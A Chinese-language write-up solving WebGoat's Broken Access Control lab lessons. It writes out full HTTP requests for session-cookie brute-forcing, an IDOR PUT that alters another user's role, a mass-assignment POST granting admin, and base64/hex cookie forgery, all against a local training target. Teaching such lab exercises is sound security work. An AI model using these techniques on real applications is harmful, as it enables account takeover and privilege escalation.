WebGoat全通关:A1-Broken-Access-Control
docker run --name webgoat -it -d -p 8081:8080 -p 9091:9090 -e TZ=Asia/Shanghai webgoat/webgoat:v2025.3
http://localhost:8080/WebGoat
http://localhost:9090/WebWolf
进入靶场随便注册一个号就行
Hijack a session #
在基于会话的 Web 应用中,如果某用户拥有一个正在生效的会话,而攻击者构造/窃取那个会话凭据,就可以以那个用户的身份鉴权
本实验只需要构造一个合法的 hijack_cookie 即可
首先抓请求
可以看到请求头如果不带 hijack_cookie,服务端会带一个 Set-Cookie
cookie 的后半部分显然是 UNIX 时间戳 date +%s,前半部分未知
多尝试几次会发现 +1 规律,但是在某个地方跳了一位
所以可以认为在在两个时间戳之中的某个时间,有个用户登录并取得了 cookie
自然地,它的 cookie 前半段结尾是 23
接下来需要找到这个用户的后半段 cookie,唯一的信息是时间位于两段时间戳中间
Intruder 中将 cookie 修改为
hijack_cookie=3606120013178169523-17429774§time§
Payloads 选择 Numbers 从 24840 到 30751,并且设置长度固定为 5 位
以防大量并发请求导致这个接口报错,在 Resource Pool 里选择 Create new resource pool 并设置并发数为 1
在我的测试中时间戳结尾就是 24840,或许不同的环境会有几毫秒的偏差
Insecure Direct Object References (IDOR) #
一个资源未鉴权的例子:
如果访问用户 23398 主页的 URL 是 http://www.example.com/app/user/23398
那么或许有可能访问 /app/user/23399 可以无需鉴权返回用户 23399 的主页
实验:以 tom 登录并修改另一个用户的角色和属性
/IDOR/profile 可以返回当前用户的 profile
通过抓包可以发现返回值是 JSON 并且有两个额外属性 role 和 userId
这是 RESTful API 的常见做法,因此可以遍历 /IDOR/profile/<id>
手动尝试,取到 2342388 时获取到答案
RESTful API 还有一种利用方法就是将 GET 改成别的请求,达到增删改查的效果
另外还需注意 Content-Type 需要换成 application/json
PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua:
Accept: */*
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
sec-ch-ua-platform: ""
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=webgoat
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=20151744D9F3BB220A9396836BF83800
Connection: close
Content-Length: 82
{"role":0, "color":"red", "size":"large", "name":"Buffalo Bill", "userId":2342388}
Missing Function Level Access Control #
有多种方式接触到无需鉴权的内部方法:
- 该方法本来就暴露在外,需要攻击者猜解或本身隐藏在前端
- 利用路由的漏洞调用内部方法,如 TP5 RCE
实验一:通过用户列表泄漏 Jerry 的哈希(无鉴权) #
直接请求 /users 提示非法 Content-Type
改成 application/json 即可
实验二:通过用户列表泄漏 Jerry 的哈希(绕过鉴权) #
注意这个哈希和前面是不一样的,两个实验使用了不同的盐值
首先,”登陆“页面的导航条泄漏了两个 API:/users-admin-fix 和 /config
向前者直接发送请求,提示 403
带上 "username" : "Jerry" 同样提示 403
实际上,鉴权时使用的是靶场注册的用户名(这里是 webgoat)
思路一:注册一个叫 Jerry 的用户,因为它是 admin
失败,原因是 webgoat 默认需要用户名大于 6 个字符
思路二:和 IDOR 一样对 /users 使用 POST,“注册”一个 webgoat 用户并设置 "admin" : "true"
POST /WebGoat/access-control/users HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=D6A424B86853C13217627A4426305D92
Connection: close
Content-Length: 113
{
"username" : "webgoat",
"admin" : true,
"userHash" : "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg="
}
然后触发 /users-admin-fix
Spoofing an Authentication Cookie #
cookie 伪造,和会话劫持的区别在于会话是动态的、鉴权后的结果
劫持会话不需要攻击者了解鉴权机制,只须寄生在其他用户的会话中,而 cookie 伪造是直接对鉴权机制的攻击,是静态的
实验:伪造 Tom 的 cookie
两个已知的凭据:
admin:adminwebgoat:webgoat
先使用 admin 登陆,得到 cookie 为 NjU3OTU2NGU3ODZlNDM2YjZlNTQ2ZTY5NmQ2NDYx
使用 webgoat 登陆得到的 cookie 为 NjU3OTU2NGU3ODZlNDM2YjZlNTQ3NDYxNmY2NzYyNjU3Nw==
显然这是 base64
解码后是 ASCII hex 字串
再解码后发现是一个随机字串和倒过来的用户名拼接
可以发现这个随机字串是固定的 eyVNxnCknT
因此很容易伪造 tom 的凭据 eyVNxnCknTmot